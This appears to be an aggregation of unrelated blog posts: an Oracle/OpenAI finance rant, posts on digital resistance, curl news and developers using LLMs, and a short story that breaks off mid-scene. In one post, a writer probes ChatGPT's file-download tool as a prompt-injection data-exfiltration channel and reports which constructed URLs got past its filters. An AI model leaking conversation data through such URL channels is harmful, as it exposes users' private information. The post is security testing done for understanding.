brutality, has tied itself existentially to not just the success of AI , but the specific, incredible, impossible success of OpenAI , which will have to muster up $30 billion in less than a year to start paying for it, and another $270 billion or more to pay for the rest… at a time when Oracle doesn’t have the capacity and has taken on brutal debt to build it. For Oracle to survive , OpenAI must find a way to pay it four times the annual revenue of Microsoft Azure ($75 billion) , and because OpenAI burns billions of dollars, it’s going to have to raise all of that money at a time of historically low liquidity for venture capital .  Did I mention that Oracle took on $56 billion of debt to build data centers specifically for OpenAI? Or that the banks who invested in these deals don’t seem to be able to sell off the debt ? Let me put it really simply: We are setting up for a very funny and chaotic situation where Oracle simply runs out of money, and in the process blows up Larry Ellison’s fortune. However much influence Ellison might have with the administration, Oracle has burdened itself with debt and $248 billion in data center lease obligations — costs that are inevitable, and are already crushing the life out of the company (and the stock).  The only way out is if OpenAI becomes literally the most-successful cash-generating company of all time within the next two years, and that’s being generous. This is not a joke. This is not an understatement. Sam Altman holds Larry Ellison’s future in his clammy little hands, and there isn’t really anything anybody can do about it other than hope for the best, because Oracle already took on all that debt and capex. Forget about politics, forget about the fear in your heart that the darkness always wins, and join me in The Hater’s Guide To Oracle, or My Name’s Larry Ellison, and Welcome To Jackass. Larry Ellison’s wealth is almost entirely tied up in Oracle stock. Oracle’s stock is tied to the company “Oracle,” which is currently destroying its margins and annihilating its available cash to buy GPUs to serve a customer that cannot afford to pay it. Oracle has taken on ruinous debt that can only be paid if this customer, which cannot afford it and needs to raise money from an already-depleted venture capital pool, actually pays it. Oracle’s stock has already been punished for these debts , and that’s before OpenAI fails to pay for its contract. Oracle now owns part of one of its largest cloud customers, TikTok, which loses billions of dollars a year, and the US entity says, per Bloomberg , that it will “retrain, test and update the content recommendation algorithm on US user data,” guaranteeing that it’ll fuck up whatever makes it useful, reducing its efficacy for advertisers. Larry Ellison’s entire financial future is based on whether OpenAI lives or dies. If it dies, there isn’t another entity in the universe that can actually afford (or has interest in) the scale of the compute Oracle is building.

0 views
Manuel Moreale 1 months ago

Digital resistance

One of the blogs I’ve been paying closer attention to over the past few weeks is patrickrhone.net since he’s doing a great job in commenting and sharing both the awful things that are happening in Minnesota, where he’s based, but also some of the positives that are coming out from a moment this tragic. Reading through his posts made me appreciate how important it is, in moments like these, that we still have the ability to share snippets of reality directly with each other. Most people will likely remember when mainstream social media could be used as a force for change at a societal level. The Arab Spring is an obvious example. But that was more than a decade ago, and the social media landscape is very different right now, different to the point where I suspect something like that would not be allowed to happen again. But the existence of personal sites, run by people who are willing to live and share their experience of what’s happening around them, remains an incredibly valuable tool in the context of digital resistance. Judging by the reports I saw, there are attempts to crack down on Signal groups and the other ways people use to communicate and organize, so I think the more spread out, the more distributed, the more decentralized these movements are, the harder it becomes to keep them under control. And maybe this is probably the best use case for something like Mastodon, where a multitude of instances can go online easily and make it very hard to censor them all. It might not have the same reach as the mainstream platforms, but I think it’s a lot more resilient and harder to silence. Countries always have the option to go nuclear and block the entire Internet; we’ve all seen that happening before, but I suspect that’s harder to do in places where most of society needs the Internet to function properly. And related to this, the other day Seth shared on his blog a link to macrowave and the first thought I had was that this—or similar ones—could become another incredibly useful tools in the context of organized resistance. All this to say that if you have enough knowledge to set up a personal site, a forum, a Mastodon instance, or any other way to help people share what's happening and connect with each other, that’s probably something worth doing at this point in time. Thank you for keeping RSS alive. You're awesome. Email me :: Sign my guestbook :: Support for 1$/month :: See my generous supporters :: Subscribe to People and Blogs

0 views
daniel.haxx.se 1 months ago

curl distro meeting 2026

We are doing another curl + distro online meeting this spring in what now has become an established annual tradition. A two-hour discussion, meeting, workshop for curl developers and curl distro maintainers. 2026 curl distro meeting details The objective for these meetings is simply to make curl better in distros. To make distros do better curl. To improve curl in all and every way we think we can, together. A part of this process is to get to see the names and faces of the people involved and to grease the machine to improve cross-distro collaboration on curl related topics. Anyone who feels this is a subject they care about is welcome to join. We aim for the widest possible definition of distro and we don’t attempt to define the term. The 2026 version of this meeting is planned to take place in the early evening European time, morning west coast US time. With the hope that it covers a large enough amount of curl interested people. The plan is to do this on March 26 , and all the details, planning and discussion items are kept on the dedicated wiki page for the event . Please add your own discussion topics that you want to know or talk about, and if you feel inclined, add yourself as an intended participant. Feel free to help make this invite reach the proper people. See you on March 26!

0 views
Robin Moffatt 1 months ago

Reflections of a Developer on LLMs in January 2026

Funnily enough, Charles Dickens was talking about late 18th century Europe rather than the state of AI and LLMs in 2026, but here goes: It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of light, it was the season of darkness, it was the spring of hope, it was the winter of despair. For the last few weeks I’ve been coming back to this quotation, again and again. It is the best of times (so far) for AI—you can literally describe an idea for a program or website, and it’s generated for you . Hallucinations are becoming fewer. This is so much more than simply guessing the next word. Honestly, it’s a sufficiently advanced technology that really is indistinguishable from magic (with apologies to Arthur C. Clarke). Whether I’d call this the age of wisdom…I’m not sure yet ;) But at the same time… it is the worst of times, the age of foolishness, season of darkness. Bot-farms spewing divisive nonsense all over social media no longer need to copy and paste their false statements in a way that’s easily spotted; instead they can write custom text at scale whilst still giving the illusion of a real person behind the fake accounts. Combine human greed with the speed at which LLMs can generate content and you have an infinite flow of slop spurting all over the internet like a farmer’s muck spreader gone awry at scale. AI voice agents are becoming better and used for scamming people with realistic and targeted calls that would previously have been uneconomical to do at the scale necessary to reap a reward. AI-generated pictures are being used to create hoaxes and flood social media with dangerous rage-baiting. It might be the best & worst of times, but that doesn’t mean you have to pick sides. Having lived through the advent of cloud computing to where it is now, I can see real parallels in how developers in the tech industry are approaching it. Some, particularly vendors & VCs, are "all in". Others believe it’s a fad or a straight-up con and will give you a list of reasons why that is. Both extremes are utterly and completely wrong. If you’re the kind of Bare Metalsson character who believed the cloud was nonsense ( ) and took pride in racking your own servers (each of which has its own cute name), you’re probably also burying your head in the sand when it comes to using LLMs with cries of . And, just as running a homelab with servers and containers named after Star Wars characters is fun but you wouldn’t use the same approach at work, refusing to acknowledge that AI today has the potential to make you more productive as a developer starts to look somewhat childish or irresponsible. Just because AI makes shit up sometimes , it doesn’t mean that AI is not therefore ever a useful tool for the right job . Strikingly, what’s happened in the last month or two is that the list of jobs for which you can use it has suddenly grown drastically. The online chatter has moved from " omg you wouldn’t let an LLM code for you " to " omg how do we review all these PRs ", because guess what: all of a sudden people are letting an LLM generate code for them. AI, and specifically LLMs, are a valuable tool for developers, and it’s one that we need to recognise if we’re not to get left behind . Picture a Capuchin monkey sat on its haunches using a stone to crack open a nut . Rudimentary, but effective. Would we as developers use a stone when we needed a hammer to bang in a nail? No, that would be stupid—we use the right tool for the job, of course. Hammers are an evolution of the tool from a crude stone, and we use that because it’s the best tool for the job. But once the hammer drill came along, do we cling to our manual hammer when we’ve got a nail to bang into a brick wall? Again, no, that would be stupid. We want to use the best tool for the job . It’s the same evolution of tooling happening in AI. LLMs are a tool. Magical, bamboozling, hilariously-wrong at times tools; but ones that are evolving not over centuries or longer, but weeks and months. Some people fundamentally object to LLMs on principle, citing their use of resources, or threat to mankind. Personally, I believe that cat is out of the bag, the horse has bolted the stables…we’re way past that. Pandora’s box is open, and you and I are not shutting it. What I would observe is that if you’re working in IT, and you’re not already adopting AI and understanding what it can (and can’t) do for you, you might find yourself with a lot more time to discuss these opinions alongside the hansom cab drivers who figured that the motor engine was a fad and stuck with their horses. Put somewhat more confrontationally: you may as well be against the internet, or the combustion engine, or atomic energy. All have awful uses and implications; all also serve a role that cannot be overstated. What LLMs are enabling is truly of seismic impact, and I cannot fathom a path forward in which they do not continue to be central to how we do things with computers. Not convinced by my reasoning above? How about these folk: You can't let the slop and cringe deny you the wonder of AI. This is the most exciting thing we've made computers do since we connected them to the internet. If you spent 2025 being pessimistic or skeptical on AI, why not give the start of 2026 a try with optimism and curiosity? Not a fan of DHH? How about Charity Majors : this year was for AI what 2010 was for the cloud: the year when AI stopped being satellite, experimental tech and started being the mainstream, foundational technology. At least in the world of developer tools. It doesn’t mean there isn’t a bubble. Of COURSE there’s a fucking bubble. Cloud was a bubble. The internet was a bubble. Every massive new driver of innovation has come with its own frothy hype wave. But the existence of froth doesn’t disprove the existence of value. Or Sam Newman : To those of you who are deeply pessimistic around the use of AI in software delivery, the old quote from John Maynard Keynes comes to mind: "The market can remain irrational longer than you can remain solvent". For a considered look at the uses of LLMs, Bryan Cantrill wrote an excellent RFD: Using LLMs at Oxide Read the above linked articles, and also check out Scott Werner’s post "The Only Skill That Matters Now" which puts it even more clearly into focus, with a nice analogy about how "skating to the puck" is no longer a viable strategy. The long and short of it is that the rate of change in AI means you have no idea where the puck will even be. I read an article a while back that I found again here , in which a hospital consultant described their view of LLMs thus: "Think of it as the most brilliant, talented, often drunk intern you could imagine," This was in May 2023 (eons ago, in LLM years). As an end user of LLMs, I think this mental model really does work. If you, as a senior+ developer, think of an LLM as a very eager junior developer working for you. They’re fresh-eyed and bushy-tailed, and goddamnit they talk too much, don’t listen enough, and make stupid mistakes. But…you give them a job to do, point them in the right direction, and iterate with them under close supervision …and suddenly you’re finding yourself a lot more productive. Tutored well, a junior developer becomes a force-multiplier, a mini-me. A common instinct amongst inexperienced senior+ developers tasked with looking after a junior can unfortunately be "I’ve not got time to show them this, I’ll do it myself". As any decent developer knows, that’s a short-sighted and flawed way of developing others (as well as oneself). Mentoring and teaching and nurturing juniors is one step back, two steps forward. And…the same goes for an LLM. Do you have to keep telling them the same thing more than once? Yes. Do they write code that drives you into fits of rage with its idiocy and overcomplexity? Yes. Do they improve each time and ultimately give you more time on your plate to think about the bigger picture of system design and implementation ? Yes. I’m not intending to imply—as some may take from this—that in drawing the analogy I am actually suggesting we replace junior developers with AI. After all, junior developers learn, and in time become the senior developers who know when Claude is talking bollocks—that pipeline matters. Rather, I’m trying to characterise how one may look at the tool and one’s interactions with it. I am also leaving wide open the issue of what the impact of AI on junior developers themselves actually could be. The consequences for the software industry are likely to be vast. Commenting on this is beyond my experience—and there is also plenty being written elsewhere about it. Working with Claude Code over the past few weeks really has got me convinced that we’ve now taken a step forward where time invested in learning how to use it (because there is a learning curve) is time that’s well spent. Previously, using an LLM was not much more than typing (or various cargo-culting "prompt engineering" techniques). Now you have to learn about context windows and the magical file called and prompting to get the most out of it for coding, and that’s ok. Some tools are simple (pick up a hammer and hit something) and others require more understanding (I’m not using a chainsaw anytime soon without training on it first). Junior developers are humans. They get tired, they need rest breaks, they need feeding, and at some point they want to go home. LLMs, on the other hand, will keep on going so long as you keep feeding them tokens. The impact of this on you as their boss is substantial. You might task your junior developer with a piece of work and they’ll return to you later that day, perhaps with a few interruptions to clarify a point. Claude Code, on the other hand, is like an eager puppy, bounding back and forth demanding your attention often every minute or so. I’m still trying to work out how to balance the dopamine hit of each interaction bringing another astounding chunk of functionality delivered, with the impact the rapid context switching has on my brain. Interacting with Claude Code feels a bit like the hit we get from scrolling short video feeds. One more prompt…one more video… Because the feedback loop is so fast, it’s also very easy to get drawn down a rabbit hole of changes and either end up on a side-quest from one’s intended task, or lose sight of the big picture and end up meandering aimlessly through some Frankenstein-like development path that feels fruitful because of the near-instantaneous results but which is ultimately flawed. That’s it. Go fuck around, and find out. Exciting things are happening. Yes the hype and BS is real and nauseating; but that doesn’t stop it being true. If you’re interested in the F’ing around and what I Found Out, have a look at the companion post to this one: Cosplaying as a webdev with Claude Code in January 2026 .

0 views
Simon Willison 1 months ago

ChatGPT Containers can now run bash, pip/npm install packages, and download files

One of my favourite features of ChatGPT is its ability to write and execute code in a container. This feature launched as ChatGPT Code Interpreter nearly three years ago , was half-heartedly rebranded to "Advanced Data Analysis" at some point and is generally really difficult to find detailed documentation about. Case in point: it appears to have had a massive upgrade at some point in the past few months, and I can't find documentation about the new capabilities anywhere! Here are the most notable new features: This is a substantial upgrade! ChatGPT can now write and then test code in 10 new languages (11 if you count Bash), can find files online and download them into the container, and can install additional packages via and to help it solve problems. (OpenAI really need to develop better habits at keeping their release notes up-to-date !) I was initially suspicious that maybe I'd stumbled into a new preview feature that wasn't available to everyone, but I tried some experiments in a free ChatGPT account and confirmed that the new features are available there as well. My first clue to the new features came the other day when I got curious about Los Angeles air quality, in particular has the growing number of electric vehicles there hade a measurable impact? I prompted a fresh GPT-5.2 Thinking session with: Show me Los Angeles air quality over time for last 20 years Here's the shared transcript . Annoyingly that doesn't make the thinking trace available, so here's a screenshot: This bit instantly caught my eye: [...] The URL from the error message leads to an Excel file containing air quality trends. I can use the container.download tool to fetch it. [...] What's ? I asked ChatGPT : Without running any searches tell me about your container.download tool And got back: Sure. is a built-in tool I can call that fetches a file from a URL and saves it into the sandboxed container filesystem for this chat session. It’s called like this (conceptually): Further experimentation confirmed that behaves as described. I had it download one file from a server with logs enabled and captured the IP address and user-agent. Here are the most interesting headers: That IP address resolves to Microsoft Azure Cloud (centralus) in Des Moines, Iowa. On the one hand, this is really useful! ChatGPT can navigate around websites looking for useful files, download those files to a container and then process them using Python or other languages. Is this a data exfiltration vulnerability though? Could a prompt injection attack trick ChatGPT into leaking private data out to a call to a URL with a query string that includes sensitive information? I don't think it can. I tried getting it to assemble a URL with a query string and access it using and it couldn't do it. It told me that it got back this error: ERROR: download failed because url not viewed in conversation before. open the file or url using web.run first. This looks to me like the same safety trick used by Claude's Web Fetch tool : only allow URL access if that URL was either directly entered by the user or if it came from search results that could not have been influenced by a prompt injection. (I poked at this a bit more and managed to get a simple constructed query string to pass through - a different tool entirely - but when I tried to compose a longer query string containing the previous prompt history a filter blocked it.) So I think this is all safe, though I'm curious if it could hold firm against a more aggressive round of attacks from a seasoned security researcher. The key lesson from coding agents like Claude Code and Codex CLI is that Bash rules everything: if an agent can run Bash commands in an environment it can do almost anything that can be achieved by typing commands into a computer. When Anthropic added their own code interpreter feature to Claude last September they built that around Bash rather than just Python. It looks to me like OpenAI have now done the same thing for ChatGPT. Here's what ChatGPT looks like when it runs a Bash command - here my prompt was: npm install a fun package and demonstrate using it It's useful to click on the "Thinking" or "Thought for 32s" links as that opens the Activity sidebar with a detailed trace of what ChatGPT did to arrive at its answer. This helps guard against cheating - ChatGPT might claim to have run Bash in the main window but it can't fake those black and white logs in the Activity panel. I had it run Hello World in various languages later in that same session. In the previous example ChatGPT installed the package from npm and used it to draw an ASCII-art cow. But how could it do that if the container can't make outbound network requests? In another session I challenged it to explore its environment. and figure out how that worked. Here's the resulting Markdown report it created. The key magic appears to be a proxy, available within the container and with various packaging tools configured to use it. The following environment variables cause and to install packages from that proxy instead of directly from PyPI: This one appears to get to work: And it reported these suspicious looking variables as well: Neither Rust nor Docker are installed in the container environment, but maybe those registry references are a clue of features still to come. The result of all of this? You can tell ChatGPT to use Python or Node.js packages as part of a conversation and it will be able to install them and apply them against files you upload or that it downloads from the public web. That's really cool. The big missing feature here should be the easiest to provide: we need official documentation ! A release notes entry would be a good start, but there are a lot of subtle details to how this new stuff works, its limitations and what it can be used for. As always, I'd also encourage OpenAI to come up with a name for this set of features that properly represents how it works and what it can do. In the meantime, I'm going to call this ChatGPT Containers . You are only seeing the long-form articles from my blog. Subscribe to /atom/everything/ to get all of my posts, or take a look at my other subscription options . ChatGPT can directly run Bash commands now. Previously it was limited to Python code only, although it could run shell commands via the Python module. It has Node.js and can run JavaScript directly in addition to Python. I also got it to run "hello world" in Ruby, Perl, PHP, Go, Java, Swift, Kotlin, C and C++ . No Rust yet though! While the container still can't make outbound network requests, and both work now via a custom proxy mechanism. ChatGPT can locate the URL for a file on the web and use a tool to download that file and save it to a path within the sandboxed container. container.download Is container.download a data exfiltration vulnerability? Bash and other languages Installing packages from pip and npm Adding it all together Takes a publicly reachable URL and a destination filepath in the container. Downloads the bytes from that URL and writes them to the given path. After that, I can read/process the file locally in the container (e.g., unzip it, parse it with Python, open it as an image, convert it, etc.).

0 views
Jeff Geerling 1 months ago

Migrating 13,000 Comments from Drupal to Hugo

After 16 years on the LAMP stack, I finished migrating this website from Drupal to Hugo a few weeks ago. What's old is new, as this blog was originally built with Thingamablog , a Java-based Static Site Generator (SSG) I ran on my Mac to generate HTML and FTP it up to my first webserver (over 20 years ago!). The main reason I moved from an SSG to Drupal was to add comments . I wanted my blog to have the same level of interactivity I had pre-Thingamablog, when I was (briefly) on Xanga.com.

12 views
daniel.haxx.se 1 months ago

Now with MQTTS

Back in 2020 we added MQTT support to curl. When curl 8.19.0 ships in the beginning of March 2026, we have also added MQTTS; meaning MQTT done securely over TLS. This bumps the number of supported transfer protocols to 29 not too long after the project turned 29 years old. The 29 transfer protocols (or schemes) that curl supports in January 2026 libcurl backends as of now What’s MQTT? Wikipedia describes it as a lightweight, publish–subscribe, machine-to-machine network protocol for message queue/message queuing service. It is designed for connections with remote locations that have devices with resource constraints or limited network bandwidth, such as in the Internet of things (IoT). It must run over a transport protocol that provides ordered, lossless, bi-directional connections—typically, TCP/IP. If things go as planned, the number of supported protocols will decrease soon as we have RTMP scheduled for removal later in the spring of 2026.

0 views
Weakty 1 months ago

The Referral

"When did the pain start?" "I don’t know. I guess, like, a few months ago." "And it’s as if there’s a tapping on your eardrum?" "No, it’s like, it’s more like it’s a drum being hit." "The eardrum is… a sort of drum," the doctor said slowly, perhaps trying not to insult me. "I know, but it’s like, how do I describe this…" I paused. I looked around the room. I realized that I seemed to have been put in one of the rooms for kids. There were—I was pretty sure—hand-painted versions of the Winnie-the-Pooh ensemble on the walls. My mind wandered. Who hand-paints a doctor’s office ? The characters looked creepier than charming. "Oh, sorry, it’s like—loud noises sorta cause a 'click' in my right ear," I said, coming back to reality. "And that hurts?" "Well, I mean, it’s not like I’m being stabbed," I said acidly. The doctor didn’t seem to mind. "No, you’re not being stabbed in the eardrum, but it is uncomfortable." "Yes. Thank you." "And you’d like it to stop." "Well, I’d like to at least know what is going on." What was up with this doctor, I wondered. "Ok, let me take a look." He began by looking in my mouth and my nose, and then finally, my ears. I suppose they were all connected. There were ear-nose-throat doctors. But still—it was my eardrum that was the issue. "Huh," the doctor said. "Huh, what? See anything out of the norm?" "No. Bog-standard everything. Your ears seem normal. A beautiful, healthy ear canal and eardrum". The doctor snapped off the little thing on the end of the device he had just shoved in my ear. I winced. "There! But, even the sound of you taking off that little plastic thing—it kind of hits the drum harder." "From the otoscope? Hmm. What about this," he said, reaching over and snapping next to my ear. I flinched more than winced. "Not really," I admitted. "I don’t know what to tell you, but that you have healthy ears. Maybe higher-pitched sounds—" he paused to re-attach the piece of plastic to the otoscope and take it off. "Yeah, that did it again." "Higher-pitched sounds, could be it. But really, there’s not much else we can do for you. If you’d like, I could send you to an ENT ." "An ear-nose-throat specialist?" I asked to confirm I wasn’t going somewhere else. "That’s right. I know one, an old colleague. She’s up at Park and Lawrence in Boison." "Ok, sure, set me up. Thanks for taking a look." "Sure thing, see you next time." And like that, he was gone, and I was left alone in the room. Winnie-The-Pooh stared at me from the wall, his eyes slightly askew, his fur a faded yellow. I arrived fifteen minutes early for my ENT appointment with Dr. Abtan . I’d had to take the morning off from work to drive forty-five minutes to Boison where their hospital was bigger and had facilities and doctors that were for inspecting ears, noses, and throats, it seemed. The drive over was uneventful. Thankfully, I hadn’t been bothered much by my ear for the past two weeks since my last appointment. Life had proceeded as usual, with my occasional wincing and frustration at sounds that tapped a little too hard on my eardrum. Some sounds had pickaxes, and they wanted to break through into my skull. I pulled into the parking lot and paid $15 to park my car. I wasn’t even going to bother to circle trying to find something that didn’t charge exorbitant prices for parking; I never came to Boison, except maybe to see a concert or a sports game, and well, a doctor, apparently. I navigated my way up into the hospital, up some elevators, through some maze-like corridors, until I found myself in the ears, nose, and throat section . It was empty. Not a soul in sight. I registered at the reception and then took a seat in one of the nine empty chairs that bordered the waiting room. On the walls were diagrams and pictures of parts of the body I hadn’t ever bothered to consider. The insides of the ear. A diagnostic image of a deviated septum. Microscopic images of the hair cells inside your ears. Needless to say, I didn’t see any images of tiny miners with pickaxes and sledgehammers chipping away at anybody’s eardrums. I stood considering my imagination, overlaying it onto the images on the walls when my name was called. I stepped into the specialist's office and shook her hand. Dr. Abtan was probably a foot taller than me. She looked at me with a curious pity, as if she already knew that I would receive no help from her, and that I had wasted fifteen dollars and an hour and a half of my time coming here today. "I understand Dr. Elpa sent you my way. I took a look at your chart, and I think the best thing to do is just let me take a look here. I’m afraid from what he’s describing that there might not be much we can do." It seems I had read her expression correctly. Still, she sat me across from her, and put me through the wringer. Out came the otoscope (I had looked up the name of some of these ear-related tools) and went into both ears. Dr. Abtan made little clicking noises with her tongue as if she were in conversation with my ear ("mhmm, click, yep, hmmm"). Then she stuck something else in my ear for a Tympanometry test. That was checking the pressure in my ear, or something like that. She did a few other things, periodically turning back to her computer and inputting some notes, always humming along in this sort of under-her-breath conversation (which definitely wasn’t intended for me to hear). After all that, she turned to me, no tools in her hands, no stethoscope, no otoscope. "You seem fine." "I seem fine," I said back to her. "I honestly don’t see any serious problems with you. Maybe a bit of wax buildup." "Should I—" "Don’t go digging in there. I can remove some wax, but I doubt that’s going to make a difference." "So, the certain sounds that hurt my ear, like, what might that be then?" Dr. Abtan sighed and turned back to her computer. She didn’t say anything for a moment. Instead, I watched her finger scroll the wheel on her computer mouse, as (presumably) my chart scrolled down on her screen. She clicked a few boxes and then closed the window before turning back to me. "You could be experiencing something called TTTS." "T-T-T-S?" I asked. "It stands for Tonic Tensor Tympani Syndrome. Also known as stapedial myoclonus. To be honest, it’s both rare and not really understood. Some professionals question whether it really exists. Basically, it involves muscles in your middle ear contracting involuntarily. The tympanometry test yielded some good results for your middle ear, so I’d be hesitant to say anything is wrong there. We could maybe do an angiogram, but you’re not listing any other symptoms that are usually found alongside TTTS, and I’m not sure if that would be worth it. "What’s more, and I don’t mean this in any offensive way, but often treatment tends to skew toward more holistic measures." "Like what?" I was starting to feel frustrated, and I wondered if that was coming through in my tone. "Well, exploring relaxation techniques—meditation, yoga, or something like sound therapy." "Sound therapy?" "Yeah. That could be sound desensitization, exposure therapy, music therapy, that sort of thing." "Like, this is all in my head?" "Well, it is all in your head." I was starting to see that Dr. Abtan had quite a dry sense of humour. She stared at me, challenging me to either laugh or snap back at her. I did neither. "We’re talking about muscles here. Muscle spasms, contractions. Muscles that are perhaps too tense. I would recommend that you pursue a treatment that has a foundation in intentional relaxation. I know a sound therapist, if you are interested. We went to school together, but she pivoted from becoming an ENT into sound therapy to incorporate her more artistic endeavours into her work." "Does she make ear-shaped art?" "No, but she incorporates her music into her treatment," Dr. Abtan said, ignoring my amateur attempt at meeting her wit. She turned back to her computer, clacked away at her keyboard and clicked on her mouse. "There, I’ve set you up with an appointment for next Wednesday at 2pm. She’s just up the road in Petonia Hills, about thirty-five minutes from here." Dr. Abtan clicked a few more buttons on her computer, and then logged off, as if to say our appointment is now over . I stared at her computer, which now displayed a serene wallpaper of a beach at night. She stood up. I stood up to meet her, holding out my hand, for some reason, to shake hers, but she had already turned away and left the office. I sat in my $15 parking spot and asked myself what had just happened. I had seen an ENT specialist, was the answer, but Dr. Abtan had been a whirlwind of mystery, and I wasn’t sure if I felt disappointed, frustrated, or amused. I sat for a moment in the car staring into the middle distance. Then, a loud splat of a raindrop fell onto my windshield and the sound kicked off whatever dumb, miraculous mechanism that was in my ear to trigger a short but painful attack on my eardrum. Well, my middle ear , apparently. A few more drops. I started the car, pulled out of the parking lot, and started on the 45-minute drive home. I arrived at The Sound Collage in Petonia fifteen minutes early. Petonia Hills was a lot smaller than Boison. I didn’t have to drive through Boison to get there. Instead, I found myself on back-country roads, splashing through potholes, staring down a straight track that converged into a single point for about ten minutes. Then things had gotten a bit more interesting: a house here or there, a cloud in the sky now and then, a stretch without a pothole every few minutes. I parked at the Petonia library—the only library in town. With some spare time, I walked over to a café, got a coffee and sat by the window. Petonia was mostly a one-street town. Quite a difference from home, or from Boison. I watched a few cars come and go. I saw some kids run to the bridge past the library and throw debris over it into a river. It was quiet in the coffee shop, and I was unbothered. I felt at peace, to my surprise. Periodically, I checked my watch. My fifteen minutes were ticking away, and soon I would need to head over to The Sound Collage . I realized I was dreading it, somewhat. I was comfortable in my avoidance. But before long, my cup was empty. I popped a mint into my mouth, placed my mug in a tray marked Dirty , and walked out. I stepped into The Sound Collage . It was as if I had walked into an aquarium. Everything was cast in blue by what looked like antique Fresnel lights with tints on them. One light was on a rotating gyro of some sort that mixed in abstract shapes of white light, as if to simulate reflections in shallow water. The room was lined with shelves on each side of the door, supporting bowls of various sizes and small musical instruments. "Hello, there. How can I help you today?" "Oh," I said, gathering myself and my gaze, "I’ve got an appointment." "Ah, yes, from Dr. Abtan, correct?" "Correct." "Follow me," I followed her. "I’m Liz, by the way. I hope I can help you out today," she said from ahead of me. I followed her into another room, which seemed more focused on her practice than the storefront, judging by the massage table and the assortment of speakers and instruments before me. Already, I heard the gentle sound of white noise coming and going through several of the speakers. "Grab a seat on the table and tell me about what you’d like to work on today." I took a seat and looked around while I told her the story of the trouble with my ear. This room was a much warmer colour, with various salt lamps glowing at different placements around the room. Speakers were set up seemingly randomly on stands in a 360-degree radius around the massage table I was currently perched upon. "From what you’re telling me and what Dr. Abtan said, it sounds as though you may need to take up some kind of ongoing practice that helps with muscle relaxation for TTTS. That’s something we can try today." "Can you describe your practice for me before we start?" "Of course. A good question. Some people just dive in with no idea what this is about, or have a set of preconceived notions that end up closing them off from the healing powers of sound. "Sessions can be any length, really, but on average, they are thirty minutes. Usually, I conduct music through the speakers to cocoon my patients in calming sounds. These sounds can help the body relax, or in your case, especially the ear. "When I focus on the ear, a lot can happen, and we generally need to proceed with caution. Take a patient who has tinnitus—their sensitivity to sound, the ongoing presence of ringing in their ears, can bring about all kinds of challenges. In those cases, we work together to identify frequencies, tones, and sounds that are pleasant and stimulating, or even counteracting, to the ringing. "And to be quite honest with you, I haven’t worked with anyone who has TTTS. It’s pretty rare, and I have a fairly small clientele. So, in this situation, I suggest we begin with doing some sound exploration and then consider a bit of exposure therapy." "Like, you’ll create the same sorts of sounds that bother me?" "Yes. Ideally, we might even begin with that. I want to simulate the stimulus, as I like to say. We’d start with quiet sounds and find at what threshold the issue is triggered. What kinds of sounds are causing the discomfort?" "Usually higher-pitched sounds with a short duration. Like a pen lid snapping on, but louder, or, I don’t know, a hi-hat strike on a drum kit or another sort of sharp percussive instrument might cause it." "Are you comfortable proceeding with that? I can play out a few notes on some instruments here. You lie back on the table and simply raise your hand if the sound disturbs you." "Ok, let’s start with that," I agreed, although I suddenly felt powerless in making any decisions. Then Liz proceeded to cycle through various instruments. The sound of white noise was still washing in and out of various speakers around me, and I found that comforting. The massage table was comfortable as well, and once I got positioned, she laid a thin but warm blanket over me. "This is a cabasa. It probably doesn’t have the high attack transient that will trigger your ear, but let’s try it." I nodded. She played out a few sounds on the cabasa, and I enjoyed the sound of it. With my eyes closed, I tried to picture the shape and size of the instrument. I ended up picturing a strange conveyor belt being swept back and forth with steel brushes. "You like this sound?" I tried not to laugh at the question. It was true that I liked it. But I had never been asked something so pointedly and specific about a sound before. "Yes, I suppose I do," I said slowly and quietly, unsure if Liz could hear me over the white noise. "No problem there," she hummed. I listened as she rummaged around and then became still. Pop! went a hollow sound. I winced, but not in the way that my ear usually troubled me. She pounced. "Was that the TTTS?" "No," I said, "it was just loud." "My apologies. Let me decrease my strike." Several pop sounds followed in varying pitches and hollowness. I turned my head and looked. Liz was in her element, closing her eyes, and striking a set of woodblocks at different velocities and pitches. She opened her eyes, already staring at me. "Anything?" "No," I said, turning my head back and looking up from the massage table. I found something about the office ceiling panels to be a bit sad. Underneath all this warm lighting and custom detailing was a sterile office environment. "Let’s try claves," Liz said, interrupting my thoughts. A high-pitched, cutting sound. I flinched. That was it. Like a tiny soccer ball had been fired at my eardrum. "That was it, wasn’t it?" "Yes, that tone and frequency do it. But others do too." "Well, let’s begin with that. I’m going to compose a bed-track of gentle harmonies and then introduce the claves again at increasing volumes. I want you to do your best to welcome all the sounds into your ears. You are welcome to close your eyes, sleep if it comes, and of course, stop me at any moment if you grow uncomfortable." I reclined my head fully on the massage table. I looked at the tiled ceiling and then closed my eyes. Liz did as she said. Occasionally, I would hear her get up and move around the room to interact with another sound source. As she did, the bed-tracks would receive another layer on top of the loop of sound she was building. All her movements were graceful, part of the harmonies and melodies swirling through the speakers. I lay there for who knows how long. Loops came and went, while the white noise, like gentle waves, stayed present. Eventually, the claves entered. Their sound appeared as the call of a far-off, unknown animal in the woods. My mind was transported to a not unfriendly trail. I was surrounded by trees, the light coloured green by spring foliage. In my mind, I walked along this trail, listening for the sound of the animal that I could not picture. It moved through the woods, sometimes near, sometimes far. I could feel my feet twitch on the table, as I imagined myself walking. Someone was in the forest with me, alongside the animal. They were walking along the trail and I could hear them plucking a few notes on an instrument. They strummed a few chords and hummed a little ditty. It seemed that I was walking in circles—I could hear them ahead of me one moment, and then, later, behind me. But eventually, I caught up with them. It was a small man, with a large hat, nearly half the size of his torso. Hair spilled out on either side of the hat. He looked like something from a Renaissance painting, from the time before artists really understood perspective or anatomy. He had a puffy jacket on that was patched together with earthy colours, and a dark zipper up the front. In his olive green arms was an instrument. It was a kind of lute, I realized. As I walked toward him, he snapped out of his musical reverie and looked up at me in shock. "What are you doing here?" he asked. I couldn’t tell if there was anger in his voice, or if perhaps he just had that sort of thin, reedy voice that seemed like it could slap you across the wrist. "I’m on a healing journey," I said. My voice sounded hollow and strange here. I hoped I didn’t sound angry or out of place. The man looked at me, now with an imperturbability. His face relaxed, and he closed his eyes as he now spoke. "You can follow me, but we must not face. We may march, but if it is music you seek from me, from this space, then you, too, must perform." And with that, he did an about-face and started marching while playing. Now he fingerpicked a sad melody that rebounded off the trees, and seemed to come at me from all angles. I began to march and hum in time with the music. I couldn’t tell from the back of this man in front of me if he was even hearing my contributions. He simply marched on, plucking and strumming away, and even occasionally singing out in a strong, clear voice, as he did now: On and off, the man sang these lines over and over and nothing else. The first few times, I couldn’t quite hear the words, but as he repeated himself, I began to piece 